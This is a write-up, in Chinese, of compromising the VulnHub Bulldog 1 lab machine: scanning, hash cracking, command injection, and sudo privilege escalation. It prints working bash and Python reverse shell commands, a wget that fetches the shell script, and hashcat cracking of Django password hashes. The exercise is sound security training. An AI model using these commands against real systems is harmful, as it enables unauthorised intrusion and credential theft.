【VulnHub】BullDog 1复盘

实验环境:
靶机：192.168.0.191
攻击机kali：192.168.0.103

一、信息收集

1、masscan扫端口

root@redwand:~# masscan -p0-65535 --rate=2000 192.168.0.191

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2020-02-13 09:11:43 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 8080/tcp on 192.168.0.191
Discovered open port 23/tcp on 192.168.0.191
Discovered open port 80/tcp on 192.168.0.191

2、nmap扫端口版本、漏洞

root@redwand:~# nmap -sC -sV -p23,80,8080 192.168.0.191
PORT     STATE SERVICE VERSION
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
|   256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
|_  256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (ED25519)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
MAC Address: 78:4F:43:6B:E0:E8 (Apple)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

3、入手分析80端口（8080相同）。whatweb分析指纹信息，可用-v显示详细，发现web位django框架开发。

root@redwand:~# whatweb 192.168.0.191
http://192.168.0.191 [200 OK] Country[RESERVED][ZZ], maybe Django, HTML5, HTTPServer[WSGIServer/0.1 Python/2.7.12], IP[192.168.0.191], JQuery, Python[2.7.12], Script, Title[Bulldog Industries], X-Frame-Options[SAMEORIGIN]

4、dirb扫目录

root@redwand:~# dirb http://192.168.0.191

START_TIME: Thu Feb 13 04:23:03 2020
URL_BASE: http://192.168.0.191/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.0.191/ ----
==> DIRECTORY: http://192.168.0.191/admin/
==> DIRECTORY: http://192.168.0.191/dev/
+ http://192.168.0.191/robots.txt (CODE:200|SIZE:1071)

---- Entering directory: http://192.168.0.191/admin/ ----
==> DIRECTORY: http://192.168.0.191/admin/auth/
==> DIRECTORY: http://192.168.0.191/admin/login/
==> DIRECTORY: http://192.168.0.191/admin/logout/

---- Entering directory: http://192.168.0.191/dev/ ----
==> DIRECTORY: http://192.168.0.191/dev/shell/

---- Entering directory: http://192.168.0.191/admin/auth/ ----
==> DIRECTORY: http://192.168.0.191/admin/auth/group/
==> DIRECTORY: http://192.168.0.191/admin/auth/user/

---- Entering directory: http://192.168.0.191/admin/login/ ----

---- Entering directory: http://192.168.0.191/admin/logout/ ----

---- Entering directory: http://192.168.0.191/dev/shell/ ----

---- Entering directory: http://192.168.0.191/admin/auth/group/ ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.
    (Try using FineTunning: '-f')

---- Entering directory: http://192.168.0.191/admin/auth/user/ ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.
    (Try using FineTunning: '-f')

-----------------
END_TIME: Thu Feb 13 04:25:07 2020
DOWNLOADED: 32284 - FOUND: 1

5、遍历目录、文件，在http://192.168.0.191/dev/页面源码中发现hash。

	<!--Need these password hashes for testing. Django's default is too complex-->
	<!--We'll remove these in prod. It's not like a hacker can do anything with a hash-->
	Team Lead: alan@bulldogindustries.com<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
	Back-up Team Lead: william@bulldogindustries.com<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
	Front End: malik@bulldogindustries.com<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
	Front End: kevin@bulldogindustries.com<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
	Back End: ashley@bulldogindustries.com<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
	Back End: nick@bulldogindustries.com<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->
	Database: sarah@bulldogindustries.com<br><!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e-->

6、somd5解密获得两组账号密码：nick:bulldog，sarah:bulldoglover。通过http://192.168.0.191/admin/login/页面登陆后，发现http://192.168.0.191/dev/shell/页面可用。通过命令测试，发现该shell存在&&命令执行漏洞。遇到远程命令，一般用wget拉马。

二、getshell

方法一：bash反弹

echo "/bin/bash -i >& /dev/tcp/192.168.0.103/6666 0>&1" | /bin/bash

方法二：命令执行bash -c反弹

ls && bash -c 'bash -i >& /dev/tcp/192.168.0.103/6666 0>&1'

方法三：python反弹
ls && wget http://192.168.0.103/shell.py
ls && python shell.py

import socket
import subprocess
import os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.103",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/bash","-i"])

错误一：
ls && bash -i >& /dev/tcp/192.168.0.191/6666 0>&1 #服务器500
错误二：
ls && wget http://192.168.0.103/msfma
ls && ./msfma #服务器500

三、提权

1、反弹回来的shell非交互式shell，python导入pty得到交互式shell。

django@bulldog:/home/django/bulldog$ su -
su -
su: must be run from a terminal
django@bulldog:/home/django/bulldog$ python -c 'import pty;pty.spawn("/bin/bash")'
</bulldog$ python -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

bash: /root/.bashrc: Permission denied
django@bulldog:/home/django/bulldog$ su -
su -
Password: l

2、查看敏感文件/etc/passwd，/etc/group，发现bulldogadmin，django有sudo权限。

django@bulldog:/home/django/bulldog$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
bulldogadmin:x:1000:1000:bulldogadmin,,,:/home/bulldogadmin:/bin/bash
django:x:1001:1001:,,,:/home/django:/bin/bash

django@bulldog:/home/django/bulldog$ cat /etc/group | grep sudo
sudo:x:27:bulldogadmin,django

3、进入各用户家目录发现.sudo_as_admin_successful文件，确认sudo曾经成功执行。
4、在bulldogadmin家目录下发现app应用二进制文件customPermissionApp。

django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ ls -l
total 16
-rw-r--r-- 1 bulldogadmin bulldogadmin 8728 Aug 26  2017 customPermissionApp
-rw-rw-r-- 1 bulldogadmin bulldogadmin  619 Sep 21  2017 note

5、通过strings命令在app文件中获取密码：SUPERultimatePASSWORDyouCANTget

django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ strings customPermissionApp
...
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
..

6、通过sudo提权成功，也可以sudo /bin/bash，得到congrats.txt文件。

django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ sudo su -
passwd：SUPERultimatePASSWORDyouCANTget
root@bulldog:~# cat congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?
Let me know what you thought on twitter, I'm @frichette_n
As far as I know there are two ways to get root. Can you find the other one?
Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!

四、花絮

1、提权过程在家目录下发现敏感文件db.sqlite3

django@bulldog:/home/django/bulldog$ ls -l
total 48
drwxrwxr-x 4 django django  4096 Aug 24  2017 bulldog
-rwxr-xrwx 1 django django 40960 Feb 13 09:36 db.sqlite3
-rwxr-xr-x 1 django django   250 Aug 16  2017 manage.py

上传msf马将文件下载回本地，在数据库auth_user表中找到django的hash值。

root@redwand:~# sqlite3 db.sqlite3
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.
sqlite> .tables
auth_group                  auth_user_user_permissions
auth_group_permissions      django_admin_log
auth_permission             django_content_type
auth_user                   django_migrations
auth_user_groups            django_session
sqlite> select * from auth_user;
1|pbkdf2_sha256$20000$9k0TYJltYWk5$rE0aQA4DGFxEjBhBH0BEJhFsF2Jx63690a8VGE/9a+c=|1|admin|||admin@bulldogindustries.com|1|1|2017-08-18 22:42:27.888865|2017-08-19 06:14:22.419010
3|pbkdf2_sha256$20000$AvMG3SPMFdWk$br74kiJcinPLKkqG+i9G+2MavMVW9IXDl2TSeQ5My+A=|0|alan||||1|1|2017-08-19 05:57:32|
4|pbkdf2_sha256$20000$LgCCwZ1qFhSK$xv2NHkto76GEp11lXNUFPsiolvoV8c8R/PRl2/XccX0=|0|william||||1|1|2017-08-19 06:02:07|
5|pbkdf2_sha256$20000$IjvfpwWo8tw9$9PZgYsZCcRz3dLVU/4TnXa9i2VcybBnBedCyNjk3Sak=|0|malik||||1|1|2017-08-19 06:02:50|
6|pbkdf2_sha256$20000$ooicdWHyxlTk$oNMBAZDKarihoPIzzYAhDq+4cR8JtJGt9JQIA8q1SX8=|0|kevin||||1|1|2017-08-19 06:03:22|
7|pbkdf2_sha256$20000$nmdkvhu3yqa9$8VSo44h9fXYj6FLavolYDZ7P5PhFBLeKBmLkBlNpGTk=|0|ashley||||1|1|2017-08-19 06:04:18|
8|pbkdf2_sha256$20000$QFeEaqreqK8o$ldGl5qhFnyB+tFrOflSwxSGO3Xt/mL4sjBiCPyPusU4=|0|nick||||1|1|2017-08-19 06:06:08|2020-02-12 02:12:15.579164
9|pbkdf2_sha256$20000$lA6iOt4XGXLw$0VHpbYjNiFN4CnHisuB+bFh72A6sn03Q+d34Laj7jkM=|0|sarah||||1|1|2017-08-19 06:06:56|
sqlite> .schema auth_user
CREATE TABLE IF NOT EXISTS "auth_user" ("id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "password" varchar(128) NOT NULL, "is_superuser" bool NOT NULL, "username" varchar(30) NOT NULL UNIQUE, "first_name" varchar(30) NOT NULL, "last_name" varchar(30) NOT NULL, "email" varchar(254) NOT NULL, "is_staff" bool NOT NULL, "is_active" bool NOT NULL, "date_joined" datetime NOT NULL, "last_login" datetime NULL);

将hash值保存在hash.txt使用hashcat进行爆破，爆破出相同两个密码，无果结束。

root@redwand:~# hashcat --force -m 10000 hash.txt pass.txt --show
pbkdf2_sha256$20000$QFeEaqreqK8o$ldGl5qhFnyB+tFrOflSwxSGO3Xt/mL4sjBiCPyPusU4=:bulldog
pbkdf2_sha256$20000$lA6iOt4XGXLw$0VHpbYjNiFN4CnHisuB+bFh72A6sn03Q+d34Laj7jkM=:bulldoglover

2、在django家目录发现manage.py，且django具有写权限。查看进程，发现该进程实际为root切换到django执行的进程，故无法通过其提权。

django@bulldog:/home/django/bulldog$ ps aux | grep manage
ps aux | grep manage
root        80  0.0  0.0      0     0 ?        S<   09:07   0:00 [charger_manager]
root       919  0.0  0.0   4508   756 ?        Ss   09:07   0:00 /bin/sh -c cd /home/django/bulldog && sudo -u django python /home/django/bulldog/manage.py runserver 0.0.0.0:8080 --insecure
root       932  0.0  0.1  52704  3896 ?        S    09:07   0:00 sudo -u django python /home/django/bulldog/manage.py runserver 0.0.0.0:8080 --insecure
django     939  0.0  1.5  71988 31080 ?        S    09:07   0:00 python /home/django/bulldog/manage.py runserver 0.0.0.0:8080 --insecure
django    1007  1.3  1.9 642136 38996 ?        Sl   09:07   1:01 /usr/bin/python /home/django/bulldog/manage.py runserver 0.0.0.0:8080 --insecure
django    1650  0.0  0.0  14224   940 pts/0    S+   10:21   0:00 grep manage

3、在bulldog目录读settings.py文件，由于使用sqlite3，无账号密码信息，若mysql则有。

django@bulldog:/home/django/bulldog/bulldog$ ls
ls
__init__.py   settings.py   static     urls.py	 views.py   wsgi.py
__init__.pyc  settings.pyc  templates  urls.pyc  views.pyc  wsgi.pyc